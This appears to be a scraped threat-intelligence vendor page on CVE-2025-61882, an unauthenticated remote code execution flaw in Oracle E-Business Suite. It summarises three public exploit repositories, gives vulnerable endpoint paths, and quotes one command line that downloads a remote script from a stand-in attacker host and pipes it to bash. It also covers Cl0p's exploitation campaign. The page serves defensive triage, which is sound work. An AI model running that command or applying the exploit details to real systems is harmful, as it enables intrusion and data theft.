Loading vulnerability…
CVE-2025-61882 is a pre-authentication remote code execution vulnerability in the BI Publisher Integration component of Oracle Concurrent Processing within Oracle E-Business Suite, affecting supported versions 12.2.3 through 12.2.14. An unauthenticated attacker with HTTP network access can compromise the component and execute arbitrary code. A reported exploitation chain combines server-side request forgery, CRLF injection, and path traversal to bypass external authentication controls, then uses malicious XSL templates to execute code within the Java runtime. Successful exploitation can result in complete takeover of Oracle Concurrent Processing. Active exploitation dates to August 2025, before Oracle released an emergency patch on October 4, 2025.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
3 valid exploits after Mallory filtered fakes, detection scripts, and README-only repos (10 hidden).
Repository contains two files: a README describing CVE-2025-61882 and a single Python exploit script, exploit.py. The script is a standalone unauthenticated RCE PoC targeting Oracle E-Business Suite components over HTTP(S), specifically BI Publisher and Concurrent Processing-related paths. It accepts a base target URL, a command to execute, and an optional proxy. It constructs a Java serialized payload from a hardcoded base64 template plus attacker-controlled command data, sets Content-Type to application/x-java-serialized-object, disables TLS verification warnings, and iterates through eight hardcoded Oracle EBS-related endpoints using HTTP POST requests. The script prints status codes and partial response bodies for non-404/405 responses, making it both an exploitation and basic validation tool. There is no advanced session handling, authentication bypass logic, callback infrastructure, or payload customization beyond the supplied command, so it is best classified as an operational PoC rather than a framework-integrated or heavily weaponized exploit.
Repository contains a small proof-of-concept for unauthenticated remote code execution against Oracle BI Publisher (versions listed in README: 12.2.1.4.0, 12.2.1.3.0) via insecure Java deserialization in an integration component. Structure: - README.md: Describes the affected product/versions and states the issue is RCE via insecure deserialization. - exploit.java: Demonstrates crafting and sending a Java serialized object over a raw TCP socket to host "oracle-server" on port 9704. It hardcodes a command payload ("curl http://attacker.com/shell.sh | bash") and references generating a CommonsBeanutils1 gadget chain via ysoserial, but the actual gadget generation is a placeholder (generatePayload returns null) and the code as written is incomplete (e.g., missing ByteArrayOutputStream import). - exploit.sh: Alternative delivery simulation using curl to POST a serialized payload file (payload.ser) to http://192.168.1.100:9704/xmlpserver with Content-Type: application/java-serialized-object. Capabilities: - Intended capability is network-based delivery of a malicious Java serialized object to trigger deserialization and execute an arbitrary OS command on the target. - Includes a staged command that retrieves and executes a remote script, implying post-exploitation such as a reverse shell. Notable limitations: - Java exploit is not fully functional without implementing gadget generation (ysoserial integration) and fixing missing imports; thus it is best categorized as a POC rather than an operational exploit.
This repository provides a working exploit and scanner for CVE-2025-61882, a critical unauthenticated remote code execution vulnerability in Oracle E-Business Suite (EBS) BI Publisher/template processing (12.2.x series). The exploit leverages a server-side template injection via the '/OA_HTML/configurator/UiServlet' endpoint, allowing an attacker to execute arbitrary system commands on the EBS server without authentication. The repository contains three main Python scripts: - 'scan.py': A non-destructive scanner to probe for the presence of vulnerable endpoints on a target EBS instance. - 'exploit.py': The main exploit script, which interacts with the target, obtains necessary CSRF tokens, and triggers the vulnerability by referencing a malicious XSLT payload hosted on an attacker-controlled server. - 'server.py': A simple HTTP server that serves the malicious XSLT payload. The payload is dynamically generated to execute arbitrary commands (e.g., reverse shell, calc.exe) on the target, using Java reflection and scripting features available in the Oracle EBS Java backend. The exploit is operational and customizable, requiring the attacker to specify the target URL and the address of the attacker's payload server. The attack is performed over HTTP(S) and does not require authentication or user interaction. The README provides detailed usage instructions, legal disclaimers, and defensive recommendations. The code is cleanly separated into scanning, exploitation, and payload hosting components, making it straightforward to use in a test or lab environment. Key fingerprintable endpoints include '/OA_HTML/configurator/UiServlet', '/OA_HTML/runforms.jsp', and '/OA_HTML/JavaScriptServlet' on the target, as well as '/OA_HTML/help/../ieshostedsurvey.xsl' and '/OA_HTML/help/../ibeCRgpIndividualUser.jsp' on the attacker's server.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
559 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A critical vulnerability affecting Oracle E-Business Suite that researchers observed Scattered LAPSUS$ Hunters exploiting during intrusions.
The content describes a critical Oracle E-Business Suite vulnerability affecting Concurrent Processing BI Publisher Integration. Cl0p reportedly combined SSRF, header injection, authentication bypass, and malicious XSL template execution to deploy Java implants and exfiltrate data from more than 100 enterprise environments.
An unauthenticated server-side request forgery vulnerability in Oracle E-Business Suite that enabled remote access to enterprise systems. It was exploited as a zero-day before Oracle released a patch.
A critical pre-authentication remote code execution vulnerability in Oracle E-Business Suite that affects versions 12.2.3 through 12.2.14. The article places its disclosure in the context of Clop's 2025 mass-exploitation and extortion campaign against Oracle EBS environments, though it notes that multiple exploit chains were involved and that the exact link to a publicly leaked exploit is unclear.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.